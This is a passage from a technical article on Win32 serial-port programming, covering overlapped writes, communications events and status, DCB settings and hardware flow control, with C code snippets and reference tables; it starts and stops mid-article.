      case WAIT_TIMEOUT:
          // Operation isn't complete yet. fWaitingOnRead flag isn't
          // changed since I'll loop back around, and I don't want
          // to issue another read until the first one finishes.
          //
          // This is a good time to do some background work.
          break;

      default:
          // Error in the WaitForSingleObject; abort.
          // This indicates a problem with the OVERLAPPED structure's
          // event handle.
          break;
   }
}

Writing

Transmitting data out the communications port is very similar to reading in that it uses a lot of the same APIs. The code snippet below demonstrates how to issue and wait for a write operation to be completed.

BOOL WriteABuffer(char * lpBuf, DWORD dwToWrite)
{
   OVERLAPPED osWrite = {0};
   DWORD dwWritten;
   DWORD dwRes;
   BOOL fRes;

   // Create this write operation's OVERLAPPED structure's hEvent.
   osWrite.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
   if (osWrite.hEvent == NULL)
      // error creating overlapped event handle
      return FALSE;

   // Issue write.
   if (!WriteFile(hComm, lpBuf, dwToWrite, &dwWritten, &osWrite)) {
      if (GetLastError() != ERROR_IO_PENDING) {
         // WriteFile failed, but isn't delayed. Report error and abort.
         fRes = FALSE;
      }
      else
         // Write is pending.
         dwRes = WaitForSingleObject(osWrite.hEvent, INFINITE);
         switch(dwRes)
         {
            // OVERLAPPED structure's event has been signaled.
            case WAIT_OBJECT_0:
                 if (!GetOverlappedResult(hComm, &osWrite, &dwWritten, FALSE))
                       fRes = FALSE;
                 else
                  // Write operation completed successfully.
                  fRes = TRUE;
                 break;

            default:
                 // An error has occurred in WaitForSingleObject.
                 // This usually indicates a problem with the
                // OVERLAPPED structure's event handle.
                 fRes = FALSE;
                 break;
         }
      }
   }
   else
      // WriteFile completed immediately.
      fRes = TRUE;

   CloseHandle(osWrite.hEvent);
   return fRes;
}

Notice that the code above uses the WaitForSingleObject function with a time-out value of INFINITE. This causes the WaitForSingleObject function to wait forever until the operation is completed; this may make the thread or program appear to be “hung?when, in fact, the write operation is simply taking a long time to complete or flow control has blocked the transmission. Status checking, discussed later, can detect this condition, but doesn’t cause the WaitForSingleObject to return. Three things can alleviate this condition:

  • Place the code in a separate thread. This allows other threads to execute any functions they desire while our writer thread waits for the write to be completed. This is what the MTTTY sample does.

  • Use COMMTIMEOUTS to cause the write to be completed after a time-out period has passed. This is discussed more fully in the “Communications Time-outs?section later in this article. This is also what the MTTTY sample allows.

  • Change the WaitForSingleObject call to include a real time-out value. This causes more problems because if the program issues another operation while an older operation is still pending, new OVERLAPPED structures and overlapped events need to be allocated. This type of recordkeeping is difficult, particularly when compared to using a “job queue?design for the operations. The “job queue?method is used in the MTTTY sample.

    Note: The time-out values in synchronization functions are not communications time-outs. Synchronization time-outs cause WaitForSingleObject or WaitForMultipleObjects to return WAIT_TIMEOUT. This is not the same as a read or write operation timing out. Communications time-outs are described later in this article.

Because the WaitForSingleObject function in the above code snippet uses an INFINITE time-out, it is equivalent to using GetOverlappedResult with TRUE for the fWait parameter. Here is equivalent code in a much simplified form:

BOOL WriteABuffer(char * lpBuf, DWORD dwToWrite)
{
   OVERLAPPED osWrite = {0};
   DWORD dwWritten;
   BOOL fRes;

   // Create this writes OVERLAPPED structure hEvent.
   osWrite.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
   if (osWrite.hEvent == NULL)
      // Error creating overlapped event handle.
      return FALSE;

   // Issue write.
   if (!WriteFile(hComm, lpBuf, dwToWrite, &dwWritten, &osWrite)) {
      if (GetLastError() != ERROR_IO_PENDING) {
         // WriteFile failed, but it isn't delayed. Report error and abort.
         fRes = FALSE;
      }
      else {
         // Write is pending.
         if (!GetOverlappedResult(hComm, &osWrite, &dwWritten, TRUE))
            fRes = FALSE;
         else
            // Write operation completed successfully.
            fRes = TRUE;
      }
   }
   else
      // WriteFile completed immediately.
      fRes = TRUE;

   CloseHandle(osWrite.hEvent);
   return fRes;
}

GetOverlappedResult is not always the best way to wait for an overlapped operation to be completed. For example, if an application needs to wait on another event handle, the first code snippet serves as a better model than the second. The call to WaitForSingleObject is easy to change to WaitForMultipleObjects to include the additional handles on which to wait. This is what the MTTTY sample application does.

A common mistake in overlapped I/O is to reuse an OVERLAPPED structure before the previous overlapped operation is completed. If a new overlapped operation is issued before a previous operation is completed, a new OVERLAPPED structure must be allocated for it. A new manual-reset event for the hEvent member of the OVERLAPPED structure must also be created. Once an overlapped operation is complete, the OVERLAPPED structure and its event are free for reuse.

The only member of the OVERLAPPED structure that needs modifying for serial communications is the hEvent member. The other members of the OVERLAPPED structure should be initialized to zero and left alone. Modifying the other members of the OVERLAPPED structure is not necessary for serial communications devices. The documentation for ReadFile and WriteFile state that the Offset and OffsetHigh members of the OVERLAPPED structure must be updated by the application, or else results are unpredictable. This guideline should be applied to OVERLAPPED structures used for other types of resources, such as files.

Serial Status

There are two methods to retrieve the status of a communications port. The first is to set an event mask that causes notification of the application when the desired events occur. The SetCommMask function sets this event mask, and the WaitCommEvent function waits for the desired events to occur. These functions are similar to the 16-bit functions SetCommEventMask and EnableCommNotification, except that the Win32 functions do not post WM_COMMNOTIFY messages. In fact, the WM_COMMNOTIFY message is not even part of the Win32 API. The second method for retrieving the status of the communications port is to periodically call a few different status functions. Polling is, of course, neither efficient nor recommended.

Communications Events

Communications events can occur at any time in the course of using a communications port. The two steps involved in receiving notification of communications events are as follows:

  • SetCommMask sets the desired events that cause a notification.

  • WaitCommEvent issues a status check. The status check can be an overlapped or nonoverlapped operation, just as the read and write operations can be.

    Note: The word event in this context refers to communications events only. It does not refer to an event object used for synchronization.

Here is an example of the SetCommMask function:

DWORD dwStoredFlags;

dwStoredFlags = EV_BREAK | EV_CTS   | EV_DSR | EV_ERR | EV_RING |\
                EV_RLSD | EV_RXCHAR | EV_RXFLAG | EV_TXEMPTY ;
if (!SetCommMask(hComm, dwStoredFlags))
   // error setting communications mask

A description of each type of event is in Table 1.

Table 1. Communications Event Flags

Event Flag | Description
EV_BREAK | A break was detected on input.
EV_CTS | The CTS (clear-to-send) signal changed state. To get the actual state of the CTS line, GetCommModemStatus should be called.
EV_DSR | The DSR (data-set-ready) signal changed state. To get the actual state of the DSR line, GetCommModemStatus should be called.
EV_ERR | A line-status error occurred. Line-status errors are CE_FRAME, CE_OVERRUN, and CE_RXPARITY. To find the cause of the error, ClearCommError should be called.
EV_RING | A ring indicator was detected.
EV_RLSD | The RLSD (receive-line-signal-detect) signal changed state. To get the actual state of the RLSD line, GetCommModemStatus should be called. Note that this is commonly referred to as the CD (carrier detect) line.
EV_RXCHAR | A new character was received and placed in the input buffer. See the “Caveat?section below for a discussion of this flag.
EV_RXFLAG | The event character was received and placed in the input buffer. The event character is specified in the EvtChar member of the DCB structure discussed later. The “Caveat?section below also applies to this flag.
EV_TXEMPTY | The last character in the output buffer was sent to the serial port device. If a hardware buffer is used, this flag only indicates that all data has been sent to the hardware. There is no way to detect when the hardware buffer is empty without talking directly to the hardware with a device driver.

After specifying the event mask, the WaitCommEvent function detects the occurrence of the events. If the port is open for nonoverlapped operation, then the WaitCommEvent function does not contain an OVERLAPPED structure. The function blocks the calling thread until the occurrence of one of the events. If an event never occurs, the thread may block indefinitely.

Here is a code snippet that shows how to wait for an EV_RING event when the port is open for nonoverlapped operation:

   DWORD dwCommEvent;

   if (!SetCommMask(hComm, EV_RING))
      // Error setting communications mask
      return FALSE;

   if (!WaitCommEvent(hComm, &dwCommEvent, NULL))
      // An error occurred waiting for the event.
      return FALSE;
   else
      // Event has occurred.
      return TRUE;

Note The Microsoft Win32 SDK Knowledge Base documents a problem with Windows 95 and the EV_RING flag. The above code never returns in Windows 95 because the EV_RING event is not detected by the system; Windows NT properly reports the EV_RING event. Please see the Win32 SDK Knowledge Base for more information on this bug.

As noted, the code above can be blocked forever if an event never occurs. A better solution would be to open the port for overlapped operation and wait for a status event in the following manner:

   #define STATUS_CHECK_TIMEOUT      500   // Milliseconds

   DWORD      dwRes;
   DWORD      dwCommEvent;
   DWORD      dwStoredFlags;
   BOOL      fWaitingOnStat = FALSE;
   OVERLAPPED osStatus = {0};

   dwStoredFlags = EV_BREAK | EV_CTS | EV_DSR | EV_ERR | EV_RING |\
                  EV_RLSD | EV_RXCHAR | EV_RXFLAG | EV_TXEMPTY ;
   if (!SetCommMask(comHandle, dwStoredFlags))
      // error setting communications mask; abort
      return 0;

   osStatus.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
   if (osStatus.hEvent == NULL)
      // error creating event; abort
      return 0;

   for ( ; ; ) {
      // Issue a status event check if one hasn't been issued already.
      if (!fWaitingOnStat) {
         if (!WaitCommEvent(hComm, &dwCommEvent, &osStatus)) {
            if (GetLastError() == ERROR_IO_PENDING)
               bWaitingOnStatusHandle = TRUE;
            else
               // error in WaitCommEvent; abort
               break;
         }
         else
            // WaitCommEvent returned immediately.
            // Deal with status event as appropriate.
            ReportStatusEvent(dwCommEvent);
      }

      // Check on overlapped operation.
      if (fWaitingOnStat) {
         // Wait a little while for an event to occur.
         dwRes = WaitForSingleObject(osStatus.hEvent, STATUS_CHECK_TIMEOUT);
         switch(dwRes)
         {
             // Event occurred.
             case WAIT_OBJECT_0:
                 if (!GetOverlappedResult(hComm, &osStatus, &dwOvRes, FALSE))
                    // An error occurred in the overlapped operation;
                    // call GetLastError to find out what it was
                    // and abort if it is fatal.
                 else
                    // Status event is stored in the event flag
                    // specified in the original WaitCommEvent call.
                    // Deal with the status event as appropriate.
                    ReportStatusEvent(dwCommEvent);

                 // Set fWaitingOnStat flag to indicate that a new
                 // WaitCommEvent is to be issued.
                 fWaitingOnStat = FALSE;
                 break;

             case WAIT_TIMEOUT:
                 // Operation isn't complete yet. fWaitingOnStatusHandle flag
                 // isn't changed since I'll loop back around and I don't want
                 // to issue another WaitCommEvent until the first one finishes.
                 //
                 // This is a good time to do some background work.
                DoBackgroundWork();
                 break;

             default:
                 // Error in the WaitForSingleObject; abort
                 // This indicates a problem with the OVERLAPPED structure's
                 // event handle.
                CloseHandle(osStatus.hEvent);
                return 0;
         }
      }
   }

   CloseHandle(osStatus.hEvent);

The code above very closely resembles the code for overlapped reading. In fact, the MTTTY sample implements its reading and status checking in the same thread using WaitForMultipleObjects to wait for either the read event or the status event to become signaled.

There are two interesting side effects of SetCommMask and WaitCommEvent. First, if the communications port is open for nonoverlapped operation, WaitCommEvent will be blocked until an event occurs. If another thread calls SetCommMask to set a new event mask, that thread will be blocked on the call to SetCommMask. The reason is that the original call to WaitCommEvent in the first thread is still executing. The call to SetCommMask blocks the thread until the WaitCommEvent function returns in the first thread. This side effect is universal for ports open for nonoverlapped I/O. If a thread is blocked on any communications function and another thread calls a communications function, the second thread is blocked until the communications function returns in the first thread. The second interesting note about these functions is their use on a port open for overlapped operation. If SetCommMask sets a new event mask, any pending WaitCommEvent will complete successfully, and the event mask produced by the operation is NULL.

Caveat

Using the EV_RXCHAR flag will notify the thread that a byte arrived at the port. This event, used in combination with the ReadFile function, enables a program to read data only after it is in the receive buffer, as opposed to issuing a read that waits for the data to arrive. This is particularly useful when a port is open for nonoverlapped operation because the program does not need to poll for incoming data; the program is notified of the incoming data by the occurrence of the EV_RXCHAR event. Initial attempts to code this solution often produce the following pseudocode, including one oversight covered later in this section:

DWORD dwCommEvent;
DWORD dwRead;
char  chRead;

if (!SetCommMask(hComm, EV_RXCHAR))
   // Error setting communications event mask.

for ( ; ; ) {
   if (WaitCommEvent(hComm, &dwCommEvent, NULL)) {
      if (ReadFile(hComm, &chRead, 1, &dwRead, NULL))
         // A byte has been read; process it.
      else
         // An error occurred in the ReadFile call.
         break;
   }
   else
      // Error in WaitCommEvent.
      break;
}

The above code waits for an EV_RXCHAR event to occur. When this happens, the code calls ReadFile to read the one byte received. The loop starts again, and the code waits for another EV_RXCHAR event. This code works fine when one or two bytes arrive in quick succession. The byte reception causes the EV_RXCHAR event to occur. The code reads the byte. If no other byte arrives before the code calls WaitCommEvent again, then all is fine; the next byte to arrive will cause the WaitCommEvent function to indicate the occurrence of the EV_RXCHAR event. If another single byte arrives before the code has a chance to reach the WaitCommEvent function, then all is fine, too. The first byte is read as before; the arrival of the second byte causes the EV_RXCHAR flag to be set internally. When the code returns to the WaitCommEvent function, it indicates the occurrence of the EV_RXCHAR event and the second byte is read from the port in the ReadFile call.

The problem with the above code occurs when three or more bytes arrive in quick succession. The first byte causes the EV_RXCHAR event to occur. The second byte causes the EV_RXCHAR flag to be set internally. The next time the code calls WaitCommEvent, it indicates the EV_RXCHAR event. Now, a third byte arrives at the communications port. This third byte causes the system to attempt to set the EV_RXCHAR flag internally. Because this has already occurred when the second byte arrived, the arrival of the third byte goes unnoticed. The code eventually will read the first byte without a problem. After this, the code will call WaitCommEvent, and it indicates the occurrence of the EV_RXCHAR event (from the arrival of the second byte). The second byte is read, and the code returns to the WaitCommEvent function. The third byte waits in the system’s internal receive buffer. The code and the system are now out of sync. When a fourth byte finally arrives, the EV_RXCHAR event occurs, and the code reads a single byte. It reads the third byte. This will continue indefinitely.

The solution to this problem seems as easy as increasing the number of bytes requested in the read operation. Instead of requesting a single byte, the code could request two, ten, or some other number of bytes. The problem with this idea is that it still fails when two or more extra bytes above the size of the read request arrive at the port in quick succession. So, if two bytes are read, then four bytes arriving in quick succession would cause the problem. Ten bytes requested would still fail if twelve bytes arrived in quick succession.

The real solution to this problem is to read from the port until no bytes are remaining. The following pseudocode solves the problem by reading in a loop until zero characters are read. Another possible method would be to call ClearCommError to determine the number of bytes in the buffer and read them all in one read operation. This method requires more sophisticated buffer management, but it reduces the number of reads when a lot of data arrives at once.

DWORD dwCommEvent;
DWORD dwRead;
char  chRead;

if (!SetCommMask(hComm, EV_RXCHAR))
   // Error setting communications event mask

for ( ; ; ) {
   if (WaitCommEvent(hComm, &dwCommEvent, NULL)) {
      do {
         if (ReadFile(hComm, &chRead, 1, &dwRead, NULL))
            // A byte has been read; process it.
         else
            // An error occurred in the ReadFile call.
            break;
      } while (dwRead);
   }
   else
      // Error in WaitCommEvent
      break;
}

The above code does not work correctly without setting the proper time-outs. Communications time-outs, discussed later, affect the behavior of the ReadFile operation in order to cause it to return without waiting for bytes to arrive. Discussion of this topic occurs later in the “Communications Time-outs?section of this article.

The above caveat regarding EV_RXCHAR also applies to EV_RXFLAG. If flag characters arrive in quick succession, EV_RXFLAG events may not occur for all of them. Once again, the best solution is to read all bytes until none remain.

The above caveat also applies to other events not related to character reception. If other events occur in quick succession some of the notifications will be lost. For instance, if the CTS line voltage starts high, then goes low, high, and low again, an EV_CTS event occurs. There is no guarantee of how many EV_CTS events will actually be detected with WaitCommEvent if the changes in the CTS line happen quickly. For this reason, WaitCommEvent cannot be used to keep track of the state of the line. Line status is covered in the “Modem Status?section later in this article.

Error Handling and Communications Status

One of the communications event flags specified in the call to SetCommMask is possibly EV_ERR. The occurrence of the EV_ERR event indicates that an error condition exists in the communications port. Other errors can occur in the port that do not cause the EV_ERR event to occur. In either case, errors associated with the communications port cause all I/O operations to be suspended until removal of the error condition. ClearCommError is the function to call to detect errors and clear the error condition.

ClearCommError also provides communications status indicating why transmission has stopped; it also indicates the number of bytes waiting in the transmit and receive buffers. The reason why transmission may stop is because of errors or to flow control. The discussion of flow control occurs later in this article.

Here is some code that demonstrates how to call ClearCommError:

    COMSTAT comStat;
    DWORD   dwErrors;
    BOOL    fOOP, fOVERRUN, fPTO, fRXOVER, fRXPARITY, fTXFULL;
    BOOL    fBREAK, fDNS, fFRAME, fIOE, fMODE;

    // Get and clear current errors on the port.
    if (!ClearCommError(hComm, &dwErrors, &comStat))
        // Report error in ClearCommError.
        return;

    // Get error flags.
    fDNS = dwErrors & CE_DNS;
    fIOE = dwErrors & CE_IOE;
    fOOP = dwErrors & CE_OOP;
    fPTO = dwErrors & CE_PTO;
    fMODE = dwErrors & CE_MODE;
    fBREAK = dwErrors & CE_BREAK;
    fFRAME = dwErrors & CE_FRAME;
    fRXOVER = dwErrors & CE_RXOVER;
    fTXFULL = dwErrors & CE_TXFULL;
    fOVERRUN = dwErrors & CE_OVERRUN;
    fRXPARITY = dwErrors & CE_RXPARITY;

    // COMSTAT structure contains information regarding
    // communications status.
    if (comStat.fCtsHold)
        // Tx waiting for CTS signal

    if (comStat.fDsrHold)
        // Tx waiting for DSR signal

    if (comStat.fRlsdHold)
        // Tx waiting for RLSD signal

    if (comStat.fXoffHold)
        // Tx waiting, XOFF char rec'd

    if (comStat.fXoffSent)
        // Tx waiting, XOFF char sent

    if (comStat.fEof)
        // EOF character received

    if (comStat.fTxim)
        // Character waiting for Tx; char queued with TransmitCommChar

    if (comStat.cbInQue)
        // comStat.cbInQue bytes have been received, but not read

    if (comStat.cbOutQue)
        // comStat.cbOutQue bytes are awaiting transfer

Modem Status (a.k.a. Line Status)

The call to SetCommMask may include the flags EV_CTS, EV_DSR, EV_RING, and EV_RLSD. These flags indicate changes in the voltage on the lines of the serial port. There is no indication of the actual status of these lines, just that a change occurred. The GetCommModemStatus function retrieves the actual state of these status lines by returning a bit mask indicating a 0 for low or no voltage and 1 for high voltage for each of the lines.

Please note that the term RLSD (Receive Line Signal Detect) is commonly referred to as the CD (Carrier Detect) line.

Note The EV_RING flag does not work in Windows 95 as mentioned earlier. The GetCommModemStatus function, however, does detect the state of the RING line.

Changes in these lines may also cause a flow-control event. The ClearCommError function reports whether transmission is suspended because of flow control. If necessary, a thread may call ClearCommError to detect whether the event is the cause of a flow-control action. Flow control is covered in the “Flow Control?section later in this article.

Here is some code that demonstrates how to call GetCommModemStatus:

   DWORD dwModemStatus;
   BOOL  fCTS, fDSR, fRING, fRLSD;

   if (!GetCommModemStatus(hComm, &dwModemStatus))
      // Error in GetCommModemStatus;
      return;

   fCTS = MS_CTS_ON & dwModemStatus;
   fDSR = MS_DSR_ON & dwModemStatus;
   fRING = MS_RING_ON & dwModemStatus;
   fRLSD = MS_RLSD_ON & dwModemStatus;

   // Do something with the flags.

Extended Functions

The driver will automatically change the state of control lines as necessary. Generally speaking, changing status lines is under the control of a driver. If a device uses communications port control lines in a manner different from RS-232 standards, the standard serial communications driver will not work to control the device. If the standard serial communications driver will not control the device, a custom device driver is necessary.

There are occasions when standard control lines are under the control of the application instead of the serial communications driver. For instance, an application may wish to implement its own flow control. The application would be responsible for changing the status of the RTS and DTR lines. EscapeCommFunction directs a communications driver to perform such extended operations. EscapeCommFunction can make the driver perform some other function, such as setting or clearing a BREAK condition. For more information on this function, consult the Platform SDK documentation, the Microsoft Win32 SDK Knowledge Base, or the Microsoft Developer Network (MSDN) Library.

Serial Settings

DCB Settings

The most crucial aspect of programming serial communications applications is the settings in the Device-Control Block (DCB) structure. The most common errors in serial communications programming occur in initializing the DCB structure improperly. When the serial communications functions do not behave as expected, a close examination of the DCB structure usually reveals the problem.

There are three ways to initialize a DCB structure. The first method is to use the function GetCommState. This function returns the current DCB in use for the communications port. The following code shows how to use the GetCommState function:

   DCB dcb = {0};

   if (!GetCommState(hComm, &dcb))
      // Error getting current DCB settings
   else
      // DCB is ready for use.

The second method to initialize a DCB is to use a function called BuildCommDCB. This function fills in the baud, parity type, number of stop bits, and number of data bits members of the DCB. The function also sets the flow-control members to default values. Consult the documentation of the BuildCommDCB function for details on which default values it uses for flow-control members. Other members of the DCB are unaffected by this function. It is the program's duty to make sure the other members of the DCB do not cause errors. The simplest thing to do in this regard is to initialize the DCB structure with zeros and then set the size member to the size, in bytes, of the structure. If the zero initialization of the DCB structure does not occur, then there may be nonzero values in the reserved members; this produces an error when trying to use the DCB later. The following function shows how to properly use this method:

   DCB dcb;

   FillMemory(&dcb, sizeof(dcb), 0);
   dcb.DCBlength = sizeof(dcb);
   if (!BuildCommDCB("9600,n,8,1", &dcb)) {
      // Couldn't build the DCB. Usually a problem
      // with the communications specification string.
      return FALSE;
   }
   else
      // DCB is ready for use.

The third method to initialize a DCB structure is to do it manually. The program allocates the DCB structure and sets each member with any value desired. This method does not deal well with changes to the DCB in future implementations of Win32 and is not recommended.

An application usually needs to set some of the DCB members differently than the defaults or may need to modify settings in the middle of execution. Once proper initialization of the DCB occurs, modification of individual members is possible. The changes to the DCB structure do not have any effect on the behavior of the port until execution of the SetCommState function. Here is a section of code that retrieves the current DCB, changes the baud, and then attempts to set the configuration:

   DCB dcb;

   FillMemory(&dcb, sizeof(dcb), 0);
   if (!GetCommState(hComm, &dcb))     // get current DCB
      // Error in GetCommState
      return FALSE;

   // Update DCB rate.
   dcb.BaudRate = CBR_9600 ;

   // Set new state.
   if (!SetCommState(hComm, &dcb))
      // Error in SetCommState. Possibly a problem with the communications
      // port handle or a problem with the DCB structure itself.

Here is an explanation of each of the members of the DCB and how they affect other parts of the serial communications functions.

Note Most of this information is from the Platform SDK documentation. Because documentation is the official word in what the members actually are and what they mean, this table may not be completely accurate if changes occur in the operating system.

Table 2. The DCB Structure Members

Member | Description
DCBlength | Size, in bytes, of the structure. Should be set before calling SetCommState to update the settings.
BaudRate | Specifies the baud at which the communications device operates. This member can be an actual baud value, or a baud index.
fBinary | Specifies whether binary mode is enabled. The Win32 API does not support nonbinary mode transfers, so this member should be TRUE. Trying to use FALSE will not work.
fParity | Specifies whether parity checking is enabled. If this member is TRUE, parity checking is performed and parity errors are reported. This should not be confused with the Parity member, which controls the type of parity used in communications.
fOutxCtsFlow | Specifies whether the CTS (clear-to-send) signal is monitored for output flow control. If this member is TRUE and CTS is low, output is suspended until CTS is high again. The CTS signal is under control of the DCE (usually a modem), the DTE (usually the PC) simply monitors the status of this signal, the DTE does not change it.
fOutxDsrFlow | Specifies whether the DSR (data-set-ready) signal is monitored for output flow control. If this member is TRUE and DSR is low, output is suspended until DSR is high again. Once again, this signal is under the control of the DCE; the DTE only monitors this signal.
fDtrControl | Specifies the DTR (data-terminal-ready) input flow control. This member can be one of the following values:
 | Value |  | Meaning
 | DTR_CONTROL_DISABLE |  | Lowers the DTR line when the device is opened. The application can adjust the state of the line with EscapeCommFunction.
 | DTR_CONTROL_ENABLE |  | Raises the DTR line when the device is opened. The application can adjust the state of the line with EscapeCommFunction.
 | DTR_CONTROL_HANDSHAKE |  | Enables DTR flow-control handshaking. If this value is used, it is an error for the application to adjust the line with EscapeCommFunction.
fDsrSensitivity | Specifies whether the communications driver is sensitive to the state of the DSR signal. If this member is TRUE, the driver ignores any bytes received, unless the DSR modem input line is high.
fTXContinueOnXoff | Specifies whether transmission stops when the input buffer is full and the driver has transmitted the XOFF character. If this member is TRUE, transmission continues after the XOFF character has been sent. If this member is FALSE, transmission does not continue until the input buffer is within XonLim bytes of being empty and the driver has transmitted the XON character.
fOutX | Specifies whether XON/XOFF flow control is used during transmission. If this member is TRUE, transmission stops when the XOFF character is received and starts again when the XON character is received.
fInX | Specifies whether XON/XOFF flow control is used during reception. If this member is TRUE, the XOFF character is sent when the input buffer comes within XoffLim bytes of being full, and the XON character is sent when the input buffer comes within XonLim bytes of being empty.
fErrorChar | Specifies whether bytes received with parity errors are replaced with the character specified by the ErrorChar member. If this member is TRUE and the fParity member is TRUE, replacement occurs.
fNull | Specifies whether null bytes are discarded. If this member is TRUE, null bytes are discarded when received.
fRtsControl | Specifies the RTS (request-to-send) input flow control. If this value is zero, the default is RTS_CONTROL_HANDSHAKE. This member can be one of the following values:
 | Value |  | Meaning
 | RTS_CONTROL_DISABLE |  | Lowers the RTS line when the device is opened. The application can use EscapeCommFunction to change the state of the line.
 | RTS_CONTROL_ENABLE |  | Raises the RTS line when the device is opened. The application can use EscapeCommFunction to change the state of the line.
 | RTS_CONTROL_HANDSHAKE |  | Enables RTS flow-control handshaking. The driver raises the RTS line, enabling the DCE to send, when the input buffer has enough room to receive data. The driver lowers the RTS line, preventing the DCE to send, when the input buffer does not have enough room to receive data. If this value is used, it is an error for the application to adjust the line with EscapeCommFunction.
 | RTS_CONTROL_TOGGLE |  | Specifies that the RTS line will be high if bytes are available for transmission. After all buffered bytes have been sent, the RTS line will be low. If this value is set, it would be an error for an application to adjust the line with EscapeCommFunction. This value is ignored in Windows 95; it causes the driver to act as if RTS_CONTROL_ENABLE were specified.
fAbortOnError | Specifies whether read and write operations are terminated if an error occurs. If this member is TRUE, the driver terminates all read and write operations with an error status (ERROR_IO_ABORTED) if an error occurs. The driver will not accept any further communications operations until the application has acknowledged the error by calling the ClearCommError function.
fDummy2 | Reserved; do not use.
wReserved | Not used; must be set to zero.
XonLim | Specifies the minimum number of bytes allowed in the input buffer before the XON character is sent.
XoffLim | Specifies the maximum number of bytes allowed in the input buffer before the XOFF character is sent. The maximum number of bytes allowed is calculated by subtracting this value from the size, in bytes, of the input buffer.
Parity | Specifies the parity scheme to be used. This member can be one of the following values:
 | Value | Meaning
 | EVENPARITY | Even
 | MARKPARITY | Mark
 | NOPARITY | No parity
 | ODDPARITY | Odd
StopBits | Specifies the number of stop bits to be used. This member can be one of the following values:
 | Value | Meaning
 | ONESTOPBIT | 1 stop bit
 | ONE5STOPBITS | 1.5 stop bits
 | TWOSTOPBITS | 2 stop bits
XonChar | Specifies the value of the XON character for both transmission and reception.
XoffChar | Specifies the value of the XOFF character for both transmission and reception.
ErrorChar | Specifies the value of the character used to replace bytes received with a parity error.
EofChar | Specifies the value of the character used to signal the end of data.
EvtChar | Specifies the value of the character used to cause the EV_RXFLAG event. This setting does not actually cause anything to happen without the use of EV_RXFLAG in the SetCommMask function and the use of WaitCommEvent.
wReserved1 | Reserved; do not use.

Flow Control

Flow control in serial communications provides a mechanism for suspending communications while one of the devices is busy or for some reason cannot do any communication. There are traditionally two types of flow control: hardware and software.

A common problem with serial communications is write operations that actually do not write the data to the device. Often, the problem lies in flow control being used when the program did not specify it. A close examination of the DCB structure reveals that one or more of the following members may be TRUE: fOutxCtsFlow, fOutxDsrFlow, or fOutX. Another mechanism to reveal that flow control is enabled is to call ClearCommError and examine the COMSTAT structure. It will reveal when transmission is suspended because of flow control.

Before discussing the types of flow control, a good understanding of some terms is in order. Serial communications takes place between two devices. Traditionally, there is a PC and a modem or printer. The PC is labeled the Data Terminal Equipment (DTE). The DTE is sometimes called the host. The modem, printer, or other peripheral equipment is identified as the Data Communications Equipment (DCE). The DCE is sometimes referred to as the device.

Hardware flow control

Hardware flow control uses voltage signals on control lines of the serial cable to control whether sending or receiving is enabled. The DTE and the DCE must agree on the types of flow control used for a communications session. Setting the DCB structure to enable flow control just configures the DTE. The DCE also needs configuration to make certain the DTE and DCE use the same type of flow control. There is no mechanism provided by Win32 to set the flow control of the DCE. DIP switches on the device, or commands sent to it typically establish its configuration. The following table describes the control lines, the direction of the flow control, and the line's effect on the DTE and DCE.

Table 3. Hardware Flow-control Lines

Line and Direction Effect on DTE/DCE
CTS
(Clear To Send)
Output flow control 		DCE sets the line high to indicate that it can receive data. DCE sets the line low to indicate that it cannot receive data.

If the fOutxCtsFlow member of the DCB is TRUE, then the DTE will not send data if this line is low. It will resume sending if the line is high.

If the fOutxCtsFlow member of the DCB is FALSE, then the state of the line does not affect transmission.
DSR
(Data Set Ready)
Output flow control 		DCE sets the line high to indicate that it can receive data. DCE sets the line low to indicate that it cannot receive data.

If the fOutxDsrFlow member of the DCB is TRUE, then the DTE will not send data if this line is low. It will resume sending if the line is high.

If the fOutxDsrFlow member of the DCB is FALSE, then the state of the line does not affect transmission.
DSR
(Data Set Ready)
Input flow control 		If the DSR line is low, then data that arrives at the port is ignored. If the DSR line is high, data that arrives at the port is received.

This behavior occurs if the fDsrSensitivity member of the DCB is set to TRUE. If it is FALSE, then the state of the line does not affect reception.
RTS
(Ready To Send)
Input flow control 		The RTS line is controlled by the DTE.

If the fRtsControl member of the DCB is set to RTS_CONTROL_HANDSHAKE, the following flow control is used: If the input buffer has enough room to receive data (at least half the buffer is empty), the driver sets the RTS line high. If the input buffer has little room for incoming data (less than a quarter of the buffer is empty), the driver sets the RTS line low.

If the fRtsControl member of the DCB is set to RTS_CONTROL_TOGGLE, the driver sets the RTS line high when data is available for sending. The driver sets the line low when no data is available for sending. Windows 95 ignores this value and treats it the same as RTS_CONTROL_ENABLE.

If the fRtsControl member of the DCB is set to RTS_CONTROL_ENABLE or RTS_CONTROL_DISABLE, the application is free to change the state of the line as it needs. Note that in this case, the state of the line does not affect reception.

The DCE will suspend transmission when the line goes low. The DCE will resume transmission when the line goes high.
DTR
(Data Terminal Ready)
Input flow control 		The DTR line is controlled by the DTE.

If the fDtrControl member of the DCB is set to DTR_CONTROL_HANDSHAKE, the following flow control is used: If the input buffer has enough room to receive data (at least half the buffer is empty), the driver sets the DTR line high. If the input buffer has little room for incoming data (less than a quarter of the buffer is empty), the driver sets the DTR line low.

If the fDtrControl member of the DCB is set to DTR_CONTROL_ENABLE or DTR_CONTROL_DISABLE, the application is free to change the state of the line as it needs. In this case, the state of the line does not affect reception.

The DCE will suspend transmission when the line goes low. The DCE will resume transmission when the line goes high.

The need for flow control is easy to recognize when the CE_RXOVER error occurs. This error indicates an overflow of the receive buffer and data loss. If data arrives at the port faster than it is read, CE_RXOVER can occur. Increasing the input buffer size may cause the error to occur less frequently, but it does not completely solve the problem. Input flow control is necessary to completely alleviate this problem. When the driver detects that the input buffer is nearly full, it will lower the input flow-control lines. This should cause the DCE to stop transmitting, which gives the DTE enough time to read the data from the input buffer. When the input buffer has more room available, the voltage on flow-control lines is set high, and the DCE resumes sending data.

A similar error is CE_OVERRUN. This error occurs when new data arrives before the communications hardware and serial communications driver completely receives old data. This can occur when the transmission speed is too high for the type of communications hardware or CPU. This can also occur when the operating system is not free to service the communications hardware. The only way to alleviate this problem is to apply some combination of decreasing the transmission speed, replacing the communications hardware, and increasing the CPU speed. Sometimes third-party hardware drivers that are not very efficient with CPU resources cause this error. Flow control cannot completely solve the problems that cause the CE_OVERRUN error, although it may help to reduce the frequency of the error.

Software flow control

